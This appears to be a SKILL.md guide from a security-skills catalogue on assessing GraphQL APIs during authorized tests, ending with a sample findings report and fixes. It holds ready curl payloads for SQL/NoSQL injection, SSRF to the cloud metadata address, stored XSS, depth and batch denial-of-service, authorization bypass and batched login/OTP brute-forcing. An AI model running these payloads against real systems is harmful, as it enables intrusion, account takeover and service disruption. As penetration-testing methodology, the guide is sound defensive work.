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Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.
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SOC 職業分類に基づく
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Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
SKILL.md を表示中
| name | performing-graphql-security-assessment |
| description | Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","graphql","api-security","owasp","web-security","introspection"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1059.007","T1505.003","T1083","T1055"] |
Locate GraphQL endpoints and confirm GraphQL is running.
# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# Fingerprint GraphQL engine
curl -s -X POST \
-H "Content-Type: application/json" \
-d \
Extract the full GraphQL schema to understand the API surface.
# Full introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# Comprehensive introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/
Verify that access control is enforced at the field and object level.
# Test querying all users (should require admin)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# Test accessing sensitive fields on own user
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# Test without any authentication
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
Assess GraphQL queries for SQL injection, NoSQL injection, and other injection types.
# SQL injection in GraphQL arguments
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL injection (MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# Test for SSRF via GraphQL
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# Test for stored XSS via mutations
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL directive injection
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
Assess query complexity limits and resource consumption controls.
# Deep nesting attack (query depth)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# Width attack (requesting many fields)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# Batch query attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# Fragment-based circular reference
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# Test for unbounded pagination
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
Use query batching to brute-force credentials or bypass rate limiting.
# Batch login attempts to bypass rate limiting
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# Batch OTP verification attempts
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# Alias-based batching (same operation, different aliases)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
| Concept | Description |
|---|---|
| Introspection | GraphQL feature that exposes the full schema, types, fields, and mutations |
| Query Depth | The nesting level of a GraphQL query; deep queries can cause DoS |
| Query Complexity | A score calculated from the cost of resolving each field in a query |
| Batching | Sending multiple queries in a single HTTP request for parallel execution |
| Aliases | GraphQL feature allowing the same field to be queried multiple times with different arguments |
| Fragments | Reusable field selections that can cause circular references if not validated |
| N+1 Problem | Unoptimized resolvers causing exponential database queries for nested fields |
| Field-level Authorization | Access control applied to individual fields rather than entire types |
| Tool | Purpose |
|---|---|
| InQL (Burp Extension) | GraphQL introspection scanner and query generator for Burp Suite |
| GraphQL Voyager | Interactive schema visualization tool |
| Altair GraphQL Client | Desktop GraphQL IDE for crafting and testing queries |
| clairvoyance | Schema enumeration when introspection is disabled |
| graphql-cop | GraphQL security auditing tool (pip install graphql-cop) |
| BatchQL | GraphQL batching attack tool for rate limit bypass |
Introspection is enabled in production, revealing internal types like AdminSettings, InternalUser, and mutations like deleteAllUsers. This provides a complete roadmap for further attacks.
The User type exposes passwordHash, ssn, and internalNotes fields. While the frontend only queries name and email, any authenticated user can request sensitive fields directly.
The GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.
A social network API allows querying friends { friends { friends { ... } } } up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.
## GraphQL Security Assessment Report
**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15
### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |
### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface
### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request
### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers